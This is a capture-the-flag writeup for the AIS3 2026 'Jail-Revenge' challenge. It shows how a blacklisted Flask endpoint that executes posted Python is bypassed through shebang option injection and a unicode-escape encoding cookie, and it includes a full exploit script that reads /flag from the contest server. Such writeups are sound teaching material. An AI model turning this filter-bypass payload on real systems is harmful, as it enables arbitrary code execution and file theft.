Skip to content
Suzu
3 min read

【Misc】AIS3 Pre-Exam 2026 Writeup: Jail-Revenge

A misc writeup for Jail-Revenge, abusing the Flask body handling and Python execution path.

Series
30 posts
View the complete series →
On this page

【AIS3 Pre-Exam 2026 Writeup】Misc - Jail-Revenge

Source from / was enough to start.

#flag is at /flag

from flask import Flask,request,send_file
import os,time,uuid,unicodedata

app = Flask(__name__)

shebang = '#!/usr/local/bin/python3'

@app.route('/')
def index(): return send_file(__file__)

@app.post('/<uid>')
def run(uid):
    uuid.UUID(uid)
    d = unicodedata.normalize("NFKC", request.data.decode())
    assert not any(i in d for i in "()_[]{}.@#") and len(d.split("\n")[0]) < 50
    open(f"data/{uid}","w").write(shebang + d)
    os.chmod(f"data/{uid}", 0o755)
    os.popen(f"./data/{uid} > ./output/{uid}")
    time.sleep(1)
    r = open(f"output/{uid}","r").read()
    return r

Flag path is already shown as /flag.

The handler takes POST body, normalizes it with NFKC, checks some bad chars, writes it after a Python shebang, and executes the file.

Source-level protections are simple but annoying:

()_[]{}.@#

First line also must be shorter than 50 chars.

At first this looked like a normal Python jail. Direct code like this is blocked:

print(open('/flag').read())

It needs (, ), and ., all banned.

Unicode tricks also looked bad. The server runs NFKC before the check, so fullwidth parentheses or similar characters become normal banned characters. No path there.

Another early mistake was HTTP body parsing. When I sent data with a form-like content type, Flask treated it as form data and request.data became empty. The response had no useful output, so I first thought maybe the payload was running but doing nothing. It was just the wrong request format.

The request must use raw body:

Content-Type: application/octet-stream

Forcing shell fallback with a broken or very long shebang was another idea. The first line length check stops the long-line trick. A malformed interpreter path only gives no useful stdout here. No trigger, no path.

No useful gdb path existed for this one. It is a Flask/Python source challenge, not a native ELF. The local debugging was about Linux shebang behavior and Python source decoding. glibc printf was also not a trigger. The only printing primitive was Python print, but normal print(...) was blocked by the jail.

Useful detail:

open(f"data/{uid}","w").write(shebang + d)

No newline after shebang.

If the body starts with a space, it becomes part of the first line:

#!/usr/local/bin/python3 <our text>

That means the input controls Python command-line options.

Local tests with small executable files confirmed this behavior:

#!/usr/bin/python3 -Xx coding:unicode-escape
print\x28'hi'\x29

It prints:

hi

The first line does two jobs.

For the kernel, it is a shebang with Python option:

-Xx coding:unicode-escape

Python accepts the -X option. The exact x ... value is not important for execution.

For Python source parsing, the first line is also a comment containing an encoding cookie:

coding:unicode-escape

Python decodes the source with unicode-escape.

The jail checks the raw text after NFKC. It sees:

print\x28'hi'\x29

No literal ( or ).

But after Python decodes the source:

\x28 -> (
\x29 -> )
\x2e -> .

This text:

print\x28open\x28'/flag'\x29\x2eread\x28\x29\x29

becomes:

print(open('/flag').read())

Small test first:

#!/usr/bin/env python3
import urllib.request
import uuid

url = f"http://chals1.ais3.org:10002/{uuid.uuid4()}"
payload = b" -Xx coding:unicode-escape\nprint\\x28'hi'\\x29\n"

req = urllib.request.Request(
    url,
    data=payload,
    method="POST",
    headers={"Content-Type": "application/octet-stream"},
)

with urllib.request.urlopen(req, timeout=10) as r:
    print(r.read().decode(errors="replace"))

It printed:

hi

For flag, only the code line changes.

Full exploit:

#!/usr/bin/env python3
import urllib.request
import uuid


HOST = "http://chals1.ais3.org:10002"


def post(payload: bytes) -> str:
    url = f"{HOST}/{uuid.uuid4()}"
    req = urllib.request.Request(
        url,
        data=payload,
        method="POST",
        headers={"Content-Type": "application/octet-stream"},
    )
    with urllib.request.urlopen(req, timeout=10) as r:
        return r.read().decode(errors="replace")


payload = (
    b" -Xx coding:unicode-escape\n"
    b"print\\x28open\\x28'/flag'\\x29\\x2eread\\x28\\x29\\x29\n"
)

print(post(payload), end="")

Output:

#!/bin/true
#AIS3{D3MN_21P_PYD0C_A5_-_-MA1N-_-_D07_PY}

Flag:

AIS3{D3MN_21P_PYD0C_A5_-_-MA1N-_-_D07_PY}

Share this page